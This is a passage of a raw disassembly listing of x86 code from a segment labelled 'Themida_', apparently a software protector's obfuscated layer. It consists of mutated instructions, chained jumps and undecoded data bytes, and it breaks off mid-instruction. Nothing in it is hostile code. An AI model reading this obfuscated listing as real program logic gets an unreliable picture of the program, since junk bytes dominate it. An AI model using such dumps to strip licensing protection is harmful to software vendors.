--------------------------------------------------------------------------- loc_555CF8: ; CODE XREF: Themida_:0055805Fj pop edi add esp, 4 push 41A0h mov [esp], ecx mov ecx, 41285AB4h push ebx jmp loc_55EF6C ; --------------------------------------------------------------------------- db 9 dd 0F6815FFEh, 67C06E73h, 0FFE26FE9h, 4104B9FFh, 0C141535Bh dd 0F18107E1h, 535840CAh, 0E195E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555D32: ; CODE XREF: Themida_:00559175j neg ebx inc ebx neg ebx not ebx jmp loc_55D263 ; --------------------------------------------------------------------------- loc_555D3E: ; CODE XREF: Themida_:00553837j pop ebp add ebx, 0FFFFFFFFh push edx mov edx, 53246E56h jmp loc_55A61C ; --------------------------------------------------------------------------- loc_555D50: ; CODE XREF: Themida_:00553408j mov ecx, [esp] add esp, 4 add esp, 4 sub bl, 0BAh push ax jmp loc_55E352 ; --------------------------------------------------------------------------- dw 468h dd 0FF000000h, 0E95A2434h, 7F05h ; --------------------------------------------------------------------------- loc_555D74: ; CODE XREF: Themida_:00557FB6j sub esp, 4 mov [esp], ebx jmp loc_55B331 ; --------------------------------------------------------------------------- db 81h dd 50C58FEDh, 5DEF2980h, 5C243C87h, 0FFA0EFE9h, 0C4835EFFh dd 49C76804h, 83E90000h, 5FFFFC0h, 4, 2B22E9h, 0C4815800h dd 4, 405h, 9E95500h, 29FFFFDCh, 34FF5DEFh, 0ED69E924h dd 0C729FFFFh, 0FFB7FFE9h, 2C895CFFh, 73E95424h, 0BA00003Fh dd 4, 875AD001h, 8B5C2404h, 7B682404h, 0E9000046h, 72A4h dd 8704C183h, 0E95C240Ch, 0FFFF7FC9h, 0FB4FA7BEh, 5EF00179h dd 0FF89BAE9h, 0A6C981FFh, 0C107EB0Ch, 0D9F702E1h, 889FE9h db 0 ; --------------------------------------------------------------------------- loc_555E19: ; CODE XREF: Themida_:00557352j sub eax, 74756691h add eax, ecx add eax, 74756691h pop ecx push 6F7Eh jmp loc_55F77E ; --------------------------------------------------------------------------- loc_555E30: ; CODE XREF: Themida_:0055B366j mov eax, 0E670C8B9h sub edx, eax pop eax xor eax, edx mov edx, [esp] add esp, 4 push ebp mov ebp, 33527F5Bh add ebp, 1CCC60B5h sub esp, 4 mov [esp], edi mov edi, 3D4848C0h jmp loc_54DEB8 ; --------------------------------------------------------------------------- dd 0E92434FFh, 0FFFFECF1h, 7F2AB9B9h, 8BCA2914h, 0C481240Ch dd 4, 3C95E9h, 2685200h, 0FF3C695Fh, 835A2434h, 0A1E904C4h dd 66000041h, 68240C8Bh, 3FDAh, 54243C89h, 796AE9h, 24348700h dd 0A2FCE9h, 4B900h, 0C5810000h, 24035FFh, 0ED81CD01h dd 24035FFh, 0E9240C8Bh, 0FFFFC6D3h, 42DAF75Bh, 710CEA81h dd 0B8500971h, 1EA210F0h, 0E958C209h, 474Fh, 8B241487h dd 4892424h, 4B824h, 0C6810000h, 2A0014B3h, 0EE81C601h dd 2A0014B3h, 6295E958h, 0C6E90000h, 68FFFF7Eh, 579h, 68240C89h dd 200h, 57240C8Bh, 6EAFE9h db 0 ; --------------------------------------------------------------------------- loc_555F15: ; CODE XREF: Themida_:0054E9DAj pop ecx mov edi, 961BAA61h jmp loc_5528A3 ; --------------------------------------------------------------------------- dd 39E3BE56h, 574E2406h, 3F504BBFh, 0CF814F05h, 6237286Dh dd 8106E7C1h, 0FFFFFFEFh, 7D11E9FFh, 0C4810000h, 4, 0DE9C0FEh db 47h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555F4F: ; CODE XREF: Themida_:0055A657j jz loc_55504D push dword ptr [edi+28h] push ebx push eax jmp loc_553E0D ; --------------------------------------------------------------------------- loc_555F5F: ; CODE XREF: Themida_:005596E0j mov esi, 27D74FB6h mov ebx, esi pop esi sub ebx, 434F4AFFh inc ebx push ebx not dword ptr [esp] jmp loc_54EAFF ; --------------------------------------------------------------------------- loc_555F77: ; CODE XREF: Themida_:0055C3B5j xchg ebx, [esp] pop esp mov [esp], esi push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edx push 6B1277E0h pop edx jmp loc_562932 ; --------------------------------------------------------------------------- loc_555F9F: ; CODE XREF: Themida_:005518B8j push edx mov edx, 5B3F63FCh and edx, 3A780A8Eh shl edx, 7 add edx, 0FC051FF3h xor ebx, edx pop edx jmp loc_550DD2 ; --------------------------------------------------------------------------- loc_555FBC: ; CODE XREF: Themida_:005560CDj mov eax, [esp] jmp loc_55A751 ; --------------------------------------------------------------------------- dd 0C181E189h, 4, 8704C183h, 4FE9240Ch, 5BFFFF97h, 0FFFFC381h dd 0DBF7FFFFh, 0FA7C381h, 0EC811E81h, 4, 0FF891FE9h, 56B151FFh dd 0C180C1FEh, 0BBB2525Ch, 6866h, 0E9241428h, 0FFFFA997h ; --------------------------------------------------------------------------- loc_556008: ; CODE XREF: Themida_:00557CE7j add eax, 33103CE3h add eax, 733D4930h sub eax, edi push ebp jmp loc_561C6E ; --------------------------------------------------------------------------- aIxsG db '‰åé-g',0 db 0 ; --------------------------------------------------------------------------- loc_556021: ; CODE XREF: Themida_:00560816j add ebx, 5F070B0Dh jmp loc_54EABF ; --------------------------------------------------------------------------- dd 8324348Bh, 8EE904C4h, 57FFFF7Dh, 0C1815F59h, 0CD3FAB4h dd 2E3FC281h, 0F7E96112h, 8B000009h, 0E7682424h, 8900002Eh dd 92682434h, 8900001Ch, 0DCE92424h, 81FFFFD2h, 4C4h, 3DDAE900h dd 0C7810000h, 58D019D1h, 55C70159h, 2E23DCBDh, 0C5814540h dd 74C64977h, 262FF581h, 0F7555FD8h, 0CEE92414h, 0AC000074h dd 47EBE952h, 0C8B0000h, 0E3895324h, 4C381h, 0C3830000h dd 241C8704h, 4FEAE9h, 0C895C00h, 55E18924h, 3648E9h db 0 ; --------------------------------------------------------------------------- loc_5560BD: ; CODE XREF: Themida_:0055AAE2j add esp, 4 add esp, 4 push dword ptr [edi+eax*4] sub dword ptr [esp], 71043E5Dh jmp loc_555FBC ; --------------------------------------------------------------------------- loc_5560D2: ; CODE XREF: Themida_:0055D64Bj mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebx xor [esp], eax xor eax, [esp] jmp loc_5508F9 ; --------------------------------------------------------------------------- db 57h dd 1D85E9h db 0 ; --------------------------------------------------------------------------- loc_5560F5: ; CODE XREF: Themida_:0055336Aj div ecx push 173Eh mov [esp], ebp jmp loc_54EADF ; --------------------------------------------------------------------------- aWszu db 'Wé§U',0 align 2 dw 2C8Bh dd 0E7895724h, 4C781h, 0C7810000h, 4, 8B243C87h, 67682424h dd 8900003Dh, 2EE9242Ch, 31FFFFC9h, 1C33241Ch, 24248B24h dd 89242C89h, 4EC83E5h, 5F98E9h db 0 ; --------------------------------------------------------------------------- loc_556145: ; CODE XREF: Themida_:00557200j or eax, eax jnz loc_554877 sub esp, 4 mov [esp], eax jmp loc_5551AD ; --------------------------------------------------------------------------- loc_55615B: ; CODE XREF: Themida_:005500DEj pop esi jmp loc_552912 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0E9241C8Bh, 0FFFFC9CAh ; --------------------------------------------------------------------------- loc_55616C: ; CODE XREF: Themida_:0054F19Dj push edx jmp loc_55E266 ; --------------------------------------------------------------------------- dw 0EAC1h dd 0F2814A05h, 0D36F01F6h, 0CDE9D031h, 54000013h, 0FFA396E9h dd 5F5B68FFh, 1C890000h, 4BB24h, 0D8010000h, 0FF7E7CE9h db 0FFh ; --------------------------------------------------------------------------- loc_55619D: ; CODE XREF: Themida_:0055F889j add esp, 4 add esi, 4 add esi, 4 jmp loc_55D21D ; --------------------------------------------------------------------------- db 29h, 0D8h, 2Dh dd 6A406905h, 2404875Bh, 1C89665Ch, 77B324h, 1C8B66D8h dd 0E0895024h, 405h, 0FD4AE900h, 0F781FFFFh, 654B2DB3h dd 7669F781h, 5EE95CE2h, 4FFFFFBFh, 89A7C781h, 0F831F448h dd 8059E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5561F6: ; CODE XREF: Themida_:0055C56Bj push edi push eax jmp loc_54F96B ; --------------------------------------------------------------------------- loc_5561FD: ; CODE XREF: Themida_:0054FA79j pop dword ptr [esp] mov esp, [esp] jmp loc_561D58 ; --------------------------------------------------------------------------- dd 0C34CB505h, 34FF5D15h, 0F8E95A24h, 89000072h, 68E9243Ch dd 5B0000A2h, 8124048Bh, 4C4h, 0FFD83100h, 505B2434h, 0E9525854h dd 0FFFFF5EEh, 0EF81EF01h, 35261E1Ah, 0E9F7015Dh, 0C657h ; --------------------------------------------------------------------------- loc_556248: ; CODE XREF: Themida_:0054F004j add ebx, 4 push esi mov esi, 4 jmp loc_558966 ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 50000000h, 5F68E9h db 0 ; --------------------------------------------------------------------------- loc_556265: ; CODE XREF: Themida_:0055B44Bj add dword ptr [esp], 4 pop ebx jmp loc_559D66 ; --------------------------------------------------------------------------- db 89h dd 6DB22414h, 5AD088h, 0E95866C5h, 0FFFFAD20h, 53240C89h dd 0B3F2B151h, 0FFEB80EAh, 801FB450h, 0E30052EBh, 5852C380h dd 0E9C8EB80h, 1E0h, 4C483h, 2BDDE9C3h, 875B0000h, 895C242Ch dd 0FF542404h, 57582434h, 0FFE9E789h, 33000017h, 0C31240Ch dd 240C3324h, 242CD25Ch, 7AF3E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5562D2: ; CODE XREF: Themida_:00551EECj pop ecx push 5B5Fh mov [esp], ecx mov ecx, 17A05D9Fh and ebp, ecx jmp loc_5596D8 ; --------------------------------------------------------------------------- loc_5562E7: ; CODE XREF: Themida_:0055E484j pop esp jmp loc_550D8F ; --------------------------------------------------------------------------- db 89h, 0CBh, 0E9h dd 51Ah, 405h, 0FE8BE900h, 5966FFFFh, 3AEC68h, 241C8900h dd 0EFC035B7h, 97B45004h, 8FBC480h, 0B06858E7h, 89000074h dd 8AB02404h, 0F086D8F6h, 0AF1DE9h, 4EA8100h, 0E9000000h dd 0FFFFA869h ; --------------------------------------------------------------------------- loc_556334: ; CODE XREF: Themida_:00562009j mov [esp], edx mov edx, 71CA03ABh jmp loc_556B8E ; --------------------------------------------------------------------------- loc_556341: ; CODE XREF: Themida_:0055C1C8j xor [esp], esi xor esi, [esp] mov esp, [esp] jmp loc_54DDC5 ; --------------------------------------------------------------------------- loc_55634F: ; CODE XREF: Themida_:00558067j push esi push 7941h mov [esp], eax jmp loc_55FFB9 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch aHmk db '$hMK',0 align 2 dw 489h dd 34FF5424h, 0C4835824h, 4EC8304h, 5F24E9h, 240C8900h dd 619A68h, 241C8900h, 0E9AEB551h, 713h ; --------------------------------------------------------------------------- loc_55638C: ; CODE XREF: Themida_:00557783j mov esi, 681125D2h add eax, esi pop esi push esi mov esi, 20B25B9Bh shr esi, 7 push ebp mov ebp, 0 push edi mov edi, 3B3076B1h jmp loc_54EBD0 ; --------------------------------------------------------------------------- dw 0E95Ah dd 58Fh, 1845B850h, 17357FDDh, 116AF75h, 0C200E9C2h, 0DD01FFFFh dd 81241C8Bh, 4C4h, 0EE895600h, 348BF789h, 4C48324h, 8212E9h db 0 ; --------------------------------------------------------------------------- loc_5563E1: ; CODE XREF: Themida_:005604BAj mov [esp], ax mov al, 0E8h add cl, al pop ax xor al, cl push dword ptr [esp] mov ecx, [esp] jmp loc_55318C ; --------------------------------------------------------------------------- loc_5563F8: ; CODE XREF: Themida_:0054E662j pop edx neg cl jmp loc_54E10C ; --------------------------------------------------------------------------- loc_556400: ; CODE XREF: Themida_:005532E4j push edx push esp jmp loc_5580A4 ; --------------------------------------------------------------------------- loc_556407: ; CODE XREF: Themida_:0054FC5Ej push edx jmp loc_561576 ; --------------------------------------------------------------------------- db 88h, 0F4h, 8Bh dd 0C4812414h, 4, 5866E328h, 0C380F328h, 148B6618h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_54EBCA ; --------------------------------------------------------------------------- loc_55642D: ; CODE XREF: Themida_:0055238Bj not esi inc esi push esi push ecx pop esi mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_554DF1 ; --------------------------------------------------------------------------- loc_556444: ; CODE XREF: Themida_:00557EBAj sub ecx, edx pop edx add ecx, ebp jmp loc_5512D5 ; --------------------------------------------------------------------------- dw 0E95Ch dd 0FFFFE8A3h, 34FFFA31h, 60E95F24h, 80FFFF91h, 0BEE9DFEBh db 0BCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556467: ; CODE XREF: Themida_:00561DDCj pop ebx pop dword ptr [esp] mov esp, [esp] jmp loc_55F8D7 ; --------------------------------------------------------------------------- loc_556473: ; CODE XREF: Themida_:0055F93Bj xor ebp, 6B394754h mov ecx, ebp jmp loc_552D56 ; --------------------------------------------------------------------------- dd 0E905EB80h, 0FFFFD912h, 4BE56h, 16E90000h db 0CEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556493: ; CODE XREF: Themida_:0055237Dj add ebx, edi push dword ptr [esp] jmp loc_552976 ; --------------------------------------------------------------------------- db 0BBh, 46h, 1Bh dd 0DF2959D3h, 240C8B5Bh, 0FFA96DE9h db 0FFh ; --------------------------------------------------------------------------- loc_5564AD: ; CODE XREF: Themida_:0055D6CAj push edi push eax mov eax, 6F0C6F7Fh mov edi, 0C0F4E0DEh add edi, eax pop eax add edi, 74815C82h add edi, 10C66F11h xchg esi, edi not esi jmp loc_559715 ; --------------------------------------------------------------------------- loc_5564D1: ; CODE XREF: Themida_:0055A7D5j mov [esp], eax push ebp mov ebp, 0A6D4972h mov eax, 1C5819C3h xor eax, ebp pop ebp and eax, 247624DEh jmp loc_5614F3 ; --------------------------------------------------------------------------- dd 2D5FF801h, 0B2A97120h, 34FFC101h, 0A12FE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5564FE: ; CODE XREF: Themida_:0055E902j pop edx pop ebp add eax, 2E577F1Ch jmp loc_54F221 ; --------------------------------------------------------------------------- loc_55650A: ; CODE XREF: Themida_:00550AD6j mov ebx, 37FE14BEh push ebp jmp loc_55DED4 ; --------------------------------------------------------------------------- db 81h, 0C5h, 4 dd 0E9000000h, 0FFFFB961h ; --------------------------------------------------------------------------- loc_556520: ; CODE XREF: Themida_:00560FB8j push ecx mov ecx, 5DE67ADDh not ecx dec ecx not ecx inc ecx add ecx, 0B62BB039h jmp loc_55022F ; --------------------------------------------------------------------------- db 68h dd 265Dh, 54240489h, 0FF9A29E9h, 57B850FFh, 311D4CABh dd 0F80158C7h, 0E9D8295Fh, 9084h ; --------------------------------------------------------------------------- loc_556558: ; CODE XREF: Themida_:0055EBADj push 2A4Fh mov [esp], edi push 726Bh mov [esp], ecx push 441E3259h pop ecx push 0 sub [esp], ecx pop ecx shl ecx, 2 jmp loc_55A739 ; --------------------------------------------------------------------------- loc_55657F: ; CODE XREF: Themida_:00561BB1j push dword ptr [esp+4] mov eax, [esp] push edi jmp loc_56253E ; --------------------------------------------------------------------------- dd 1FB1E94Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_556592: ; CODE XREF: Themida_:00554750j not dh jmp loc_554AFD ; --------------------------------------------------------------------------- loc_556599: ; CODE XREF: Themida_:00562651j or esi, edx pop edx dec esi jmp loc_5612C0 ; --------------------------------------------------------------------------- dw 815Fh dd 4C7h, 4BD5500h, 1000000h, 3C875DEFh, 0D8285C24h, 196AE9h db 0 ; --------------------------------------------------------------------------- loc_5565BD: ; CODE XREF: Themida_:0055FA70j pop esp movzx eax, al jmp loc_5500B9 ; --------------------------------------------------------------------------- loc_5565C6: ; CODE XREF: Themida_:0054DE95j sub esp, 4 mov [esp], edx jmp loc_5609EC ; --------------------------------------------------------------------------- loc_5565D1: ; CODE XREF: Themida_:005580ACj mov ebp, 4 jmp loc_54E58E ; --------------------------------------------------------------------------- db 66h dd 8124048Bh, 2C4h, 8CF8000h, 5192C780h, 0CF0073B1h, 5BFD2859h dd 0D3F6DD86h, 0AA68DD86h, 0E900000Dh, 241h, 48EFBF57h dd 0BD5568FDh, 795D3F6Fh, 0AA84E94Dh, 8966FFFFh, 0C8E9241Ch dd 59FFFF84h, 34815556h, 5B60BE24h, 2810E93Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55662E: ; CODE XREF: Themida_:00550DA7j pop edi add eax, 93ECE2E4h jmp loc_55399C ; --------------------------------------------------------------------------- db 81h, 0CAh, 34h dd 81138F12h, 3222E9F2h, 5AD589F3h, 15DE831h, 1C8758C3h dd 28E95C24h db 0E0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556657: ; CODE XREF: Themida_:00554B2Aj xchg eax, [esp] pop esp mov [esp], edx push eax mov al, 96h mov dh, al pop eax push ebx mov bh, dh push eax jmp loc_55DA08 ; --------------------------------------------------------------------------- a313SF db ']3<$1<$3<$é*”',0 align 4 loc_55667C: ; CODE XREF: Themida_:0055EE2Fj pop dword ptr [esp] add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 pop eax add eax, 4 sub eax, 4 sub esp, 4 jmp loc_561BAE ; --------------------------------------------------------------------------- dw 74FFh dd 8F580424h, 9AE92404h, 83FFFF8Bh, 4A6804C4h, 8900004Bh dd 68532414h, 4EC04F8Fh, 81241C8Bh, 4C4h, 8CB8100h, 0E90BE15Fh dd 4FCEh, 4BB05051h, 50C568h, 240C8900h, 0C82828B1h, 0E92434FFh dd 0FFFFA44Dh, 0FA3DC781h, 73E990C9h, 66000027h, 83242C8Bh dd 0BEE902C4h, 0BDFFFFC4h, 322A3BCDh, 815DEB31h, 0B9A97DC3h dd 5BDE0169h, 4184E9h db 0 ; --------------------------------------------------------------------------- loc_55671D: ; CODE XREF: Themida_:0055E432j add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edi jmp loc_5521DD ; --------------------------------------------------------------------------- dw 0EF01h dd 243C875Dh, 4EC815Ch, 0E9000000h, 0FFFFB788h, 57E2BF57h dd 0EF817679h, 0FD852753h, 295FF989h, 0C60159CEh, 308FC681h dd 525878F4h, 4BAh, 5AD60100h, 2FEEE9h, 0C5E95D00h, 89000047h dd 88E9243Ch db 0BFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55677B: ; CODE XREF: Themida_:005623D6j pop esp push edx mov edx, 293E0C7Eh inc edx push edx not dword ptr [esp] jmp loc_55FDC7 ; --------------------------------------------------------------------------- dd 4C481h, 0E90000h, 8B0000AFh, 0C483241Ch, 0F32CE904h dd 0C483FFFFh, 0E7895704h, 4C781h, 0EF830000h, 243C3304h dd 33243C31h, 79E9243Ch, 89FFFFABh, 0E6892434h, 354BBF57h dd 8FE91C5Ch, 89000079h, 0C5015BD8h, 242C3358h, 33242C31h dd 248B242Ch, 0A640E924h, 0C180FFFFh, 0C830587Ch, 55C33059h dd 4C69E9h, 7EC46800h, 37E90000h, 81FFFFC8h, 0E80571C3h dd 2434FF5Dh, 8B2CE958h, 0C159FFFFh, 0F74303EBh, 17EB81DBh dd 8168563Ah, 52FBC7F3h, 5BDD0988h, 343ECD81h, 0C5814459h dd 0CBCEEC0Bh, 0E95DEE29h, 6E18h, 0C781D7F7h, 52DA0B7Eh dd 0FFFD00E9h, 241C89FFh, 0EB8030B3h, 0BC3803Fh, 77E9DD00h dd 5D00008Ch, 0FFEBB2E9h db 0FFh ; --------------------------------------------------------------------------- loc_55685D: ; CODE XREF: Themida_:00552FCFj push dword ptr [esp] mov ebx, [esp] push 22C1h jmp loc_551862 ; --------------------------------------------------------------------------- db 58h, 0E9h, 9Ch db 6, 2 dup(0) ; --------------------------------------------------------------------------- loc_556873: ; CODE XREF: Themida_:00553DD7j push ebx mov ebx, 3F525177h sub ebx, 12763C96h sub ebx, 7525539Dh shl ebx, 4 sub ebx, 7B6C143Ch add eax, ebx pop ebx push 6022h mov [esp], esi push edx jmp loc_54E709 ; --------------------------------------------------------------------------- db 89h dd 4C281E2h, 50000000h, 64D07B8h, 6850522Ah, 7B8492Dh dd 7EE63558h, 423578D9h, 8926B155h, 0C28158C2h, 30EB01C9h dd 70E4EA81h, 0D2F73A36h, 269CC281h, 1B68311Ch, 8900007Eh dd 81B9240Ch, 4103716Ah, 45ACE981h, 0C5E99D96h db 0A0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5568EF: ; CODE XREF: Themida_:00551D9Ej add edi, 583F0C82h mov ebp, [esp] jmp loc_55C60E ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 5024048Bh, 405E089h, 83000000h, 48704C0h, 24248B24h dd 19B6E9h db 0 ; --------------------------------------------------------------------------- loc_556919: ; CODE XREF: Themida_:0055106Dj pop esp mov [esp], esi push ebp push edx jmp loc_550A75 ; --------------------------------------------------------------------------- dd 78F18141h, 890B79D0h, 0FCEDE9CDh, 8850FFFFh, 58E288FCh dd 60DDE9h, 0C5E95500h, 0E9FFFFB7h, 0FFFF747Dh, 1EFEC181h dd 0D90168ABh, 1EFEE981h, 318868ABh, 83240C8Bh, 148B04C4h dd 97CE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556966: ; CODE XREF: Themida_:005557C3j pop esi add esi, 57FA09C2h jmp loc_552A0F ; --------------------------------------------------------------------------- dw 0CE28h dd 8BF03059h, 89562414h, 8969E9E6h, 77FFFFFFh, 2434FF1Ch dd 26666858h, 2C890000h, 0E9E58924h, 0B56Dh, 2474FF50h dd 48F5804h, 24248B24h, 64D568h, 240C8900h, 0B05021B1h dd 8BC13097h, 0C4832404h, 5DE0E904h, 89530000h, 4C381E3h dd 83000000h, 1C8704C3h, 82B9E924h, 1489FFFFh, 0F3FDE924h dd 85B9FFFFh, 1D5CEFEh, 908FE9CDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5569E6: ; CODE XREF: Themida_:0055A622j add ebx, 7DCB400Dh sub ebx, edx sub ebx, 7DCB400Dh sub ebx, 13155003h pop edx sub ebx, 1 dec ebx sub ebx, 0D7B5C342h jmp loc_54FCC4 ; --------------------------------------------------------------------------- db 29h, 0C3h, 81h dd 0C10851C3h, 34EB8172h, 0E911756Dh, 0FFFFFDDFh, 0F708E2C1h dd 0D6E950D2h, 5BFFFFAEh, 8058E388h, 0D83069C3h, 8B2434FFh dd 0C483241Ch, 961EE904h, 0EA81FFFFh, 2C9D715Eh, 0C281CA01h dd 2C9D715Eh, 2E3FEA81h, 0C8B6112h, 0E2895224h, 4C281h dd 0C2810000h, 4, 5C241487h, 0CAE9EA01h, 68FFFFC7h, 3DEFh dd 0FFA539E9h, 6DE135FFh, 240D369Fh, 0E9160165h, 0FFFFB515h dd 0E9241C8Bh, 68EFh, 8ACEF81h, 0B5E90BB4h, 80FFFFF9h dd 526651CDh, 0D52062B2h, 0CD805A66h, 2E5C027h, 805CCD80h dd 8852F2F5h, 0E63CE9EAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556ABE: ; CODE XREF: Themida_:0055CE7Dj pop esi or edx, eax shl edx, 1 push 4622h mov [esp], ebx mov ebx, 24h push ebp sub esp, 4 mov [esp], edx jmp loc_558CD1 ; --------------------------------------------------------------------------- dd 31243433h, 34332434h, 24248B24h, 240C8B66h, 4B3B6850h dd 24890000h, 0C7E95324h db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_556AFB: ; CODE XREF: Themida_:0055834Bj mov [esp], esp jmp loc_54F6A3 ; --------------------------------------------------------------------------- loc_556B03: ; CODE XREF: Themida_:0055B9F8j mov ebp, [esp] add esp, 4 xor esi, 356A771Bh xchg ebp, esi inc ebp xchg ebp, esi push eax mov eax, 0FFFFFFFFh sub esi, eax pop eax push ebx mov ebx, 6307A5Fh jmp loc_55B4D1 ; --------------------------------------------------------------------------- db 58h dd 0FFB002E9h, 5E089FFh, 4, 0E904C083h, 0FFFFD26Ah ; --------------------------------------------------------------------------- loc_556B40: ; CODE XREF: Themida_:0055B58Cj add esp, 4 add ecx, 4 jmp loc_5577B8 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 0BD55240Ch, 3EB342A0h, 43E95257h, 5800002Fh dd 40E9DE89h, 5800003Fh, 0E9243C28h, 321Dh, 0E904E1C1h dd 0FFFFD950h, 9D1C77FFh, 24041158h, 7237E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556B8E: ; CODE XREF: Themida_:0055633Cj xor edi, edx push dword ptr [esp] pop edx add esp, 4 jmp loc_561A80 ; --------------------------------------------------------------------------- loc_556B9C: ; CODE XREF: Themida_:0055FE17j pop ebp push dword ptr [esp] pop edi add esp, 4 push ecx push 6F8C618Fh jmp loc_5549B4 ; --------------------------------------------------------------------------- db 8Fh dd 248B2404h, 242C8924h, 0B71EE954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556BBE: ; CODE XREF: Themida_:0055C2EBj xor eax, [esp] jmp loc_561367 ; --------------------------------------------------------------------------- dw 0BB53h dd 14F30E5Bh, 58EAC581h, 0DD2927EFh, 0FF8326E9h db 0FFh ; --------------------------------------------------------------------------- loc_556BD9: ; CODE XREF: Themida_:0055CF97j add ecx, 0C68AAB68h add edi, ecx mov ecx, [esp] add esp, 4 xor edi, 20B85B10h mov ebp, edi push dword ptr [esp] pop edi push edi push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] push ebp sub dword ptr [esp], 68D912A5h pop edx add edx, 68D912A5h mov ebp, [esp] sub esp, 4 mov [esp], ebx jmp loc_55FBB4 ; --------------------------------------------------------------------------- loc_556C28: ; CODE XREF: Themida_:0055A459j sub ebp, 2E471C79h sub ebp, edi add ebp, 2E471C79h jmp loc_55270B ; --------------------------------------------------------------------------- db 53h dd 8904EC83h, 0DAB42404h, 5158E388h, 0C888D988h, 590C5B59h dd 0B8AE9h, 3AE98000h, 0FFE165E9h db 0FFh ; --------------------------------------------------------------------------- loc_556C5D: ; CODE XREF: Themida_:00557C30j add esi, edi push ebx mov ebx, 70E640FBh sub ebx, 1D4B3397h sub esi, ebx pop ebx mov edi, [esp] add esp, 4 add ebp, esi jmp loc_55F79E ; --------------------------------------------------------------------------- loc_556C7B: ; CODE XREF: Themida_:0055CA8Fj pop edi shr eax, 6 push ecx push esp pop ecx add ecx, 4 sub ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_558383 ; --------------------------------------------------------------------------- db 81h, 0EEh, 44h dd 81274631h, 94247C6h, 240C8B2Ch, 7976E9h, 242C8B00h dd 0FFF3AEE9h, 5DEA31FFh, 44BFBB53h, 0DBF72038h, 3C21CB81h dd 0BE5643FCh, 0BE20BAh, 0FF95AEE9h, 3C8759FFh, 0E9565C24h dd 1789h ; --------------------------------------------------------------------------- loc_556CDC: ; CODE XREF: Themida_:00554BF2j push 1072h jmp loc_55E276 ; --------------------------------------------------------------------------- dw 0EEC1h dd 54EE8102h, 0F7095A4Eh, 338FE9D6h, 4FB40000h, 492CE9h dd 2434FF00h, 8B2434FFh, 0C4832404h, 7850E904h, 0EA810000h dd 422204Ch, 796EE9h, 5E0A6800h, 4890000h, 321DE924h, 0EC810000h dd 4, 0B9240C89h, 566C4B6Dh, 0E904EC83h, 0FFFF8258h ; --------------------------------------------------------------------------- loc_556D3C: ; CODE XREF: Themida_:005528AEj push ecx mov ecx, 40073B83h jmp loc_559640 ; --------------------------------------------------------------------------- aVsf db 'Véäš',0 dd 5EBC100h, 8143D3F7h, 12ED87EBh, 3EBC18Ah, 1EB81h, 0E3C10000h dd 4350E905h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556D6A: ; CODE XREF: Themida_:00552EB9j pop eax pop dword ptr [esp] pop esp and edx, 0A070A43h push 3499h mov [esp], eax mov eax, 0A030A02h sub edx, eax push dword ptr [esp] pop eax add esp, 4 push esi mov esi, edx jmp loc_55BDCB ; --------------------------------------------------------------------------- loc_556D93: ; CODE XREF: Themida_:0056160Dj or eax, eax jz loc_5583C2 push 2029h mov [esp], eax mov eax, 1Ch add eax, edi push dword ptr [eax] mov ecx, [esp] jmp loc_54E2EA ; --------------------------------------------------------------------------- dd 17382768h, 0B2DFE96Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_556DBE: ; CODE XREF: Themida_:00561D93j mov edx, esp jmp loc_55A259 ; --------------------------------------------------------------------------- db 81h, 0F6h, 35h dd 81482372h, 0A5F908C6h, 86AEE9F2h, 0FA01FFFFh, 6EAC15Fh dd 62E9EA87h db 9Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556DE3: ; CODE XREF: Themida_:0055DDE6j add dword ptr [esp], 1D7548BAh jmp loc_559816 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 24348900h, 194D6857h, 0F75F697Dh, 0F3EF81DFh dd 817E8273h, 0C40B88EFh, 5FFE8998h, 3077CE81h, 3CE921CEh dd 8BFFFFCFh, 8950241Ch, 405E0h, 4050000h, 87000000h, 5D5C2404h dd 47E5E681h, 0E6C14836h, 4DC68102h, 1046A6Dh, 24348BF2h dd 4C481h, 0EA810000h, 3BD451A0h, 0BF57C201h, 3561326Dh dd 477CF781h, 9E9086Eh, 89000088h, 49E92414h, 8BFFFFFFh dd 0C3832424h, 241C3302h, 33241C31h, 0DE9241Ch, 89000006h dd 24048BC3h, 504C483h, 6A406905h, 0FFF320E9h, 6F2FE9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556E96: ; CODE XREF: Themida_:0054F53Cj push edi mov edi, 23E3469Ah xor eax, edi push dword ptr [esp] pop edi add esp, 4 movzx ax, byte ptr [eax] push 3209h mov [esp], ecx push esp mov ecx, [esp] push 5FDEh mov [esp], eax push esp pop eax push ebx mov ebx, 